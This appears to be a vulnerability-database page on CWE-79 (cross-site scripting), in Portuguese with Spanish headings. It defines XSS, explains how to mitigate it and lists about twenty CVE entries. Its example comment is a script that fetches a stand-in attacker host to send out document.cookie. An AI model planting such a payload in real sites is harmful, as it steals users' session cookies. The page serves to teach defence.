Fallos del tipo CWE-79

30.190 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-63528HIGHA cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the blooddinfo.php component. The applicatiEPSS 0.3%CVE-2024-51920MEDIUMWordPress Map Store Locator plugin <= 1.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47078MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-57962MEDIUMWordPress VikRestaurants Table Reservations and Take-Away plugin <= 1.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37920HIGHWordPress ARForms Form Builder plugin <= 1.6.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-57951MEDIUMWordPress SiteNarrator Text-to-Speech Widget Plugin <= 1.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-35696HIGHWordPress WP Docs plugin <= 2.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-6494MEDIUMWPC Smart Quick View for WooCommerce <= 4.0.2 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-59895MEDIUMHono: Server-Side XSS via JSX Escaping Bypass in cx() UtilityEPSS 0.3%CVE-2025-5944MEDIUMElement Pack Addons for Elementor <= 8.0.0 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via data-caption AttributeEPSS 0.3%CVE-2024-35687HIGHWordPress Link Library plugin <= 7.6.3 - Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23491HIGHWordPress VSTEMPLATE Creator plugin <= 2.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-76704MEDIUMAuthenticated Stored Cross-Site Scripting (XSS) Vulnerability in EdgeConnect SD-WAN Orchestrator Web-Based Management InterfaceEPSS 0.3%CVE-2024-11779MEDIUMWIP WooCarousel Lite <= 1.1.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2021-38119MEDIUMPossible Reflected Cross-Site Scripting (XSS) Vulnerability in OpenText iManagerEPSS 0.3%CVE-2025-7140MEDIUMSourceCodester Best Salon Management System Update Staff Page edit-staff.php cross site scriptingEPSS 0.3%CVE-2024-50438HIGHWordPress Church Admin plugin < 5.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-12477MEDIUMGravity Booster <= 5.26 - Authenticated (Editor+) Stored Cross-Site Scripting via 'stylerSettings' ParameterEPSS 0.3%CVE-2026-59926MEDIUMMistune: XSS via unescaped class option in Admonition directiveEPSS 0.3%CVE-2024-39126MEDIUMRoundup before 2.4.0 allows XSS via JavaScript in PDF, XML, and SVG documents.EPSS 0.3%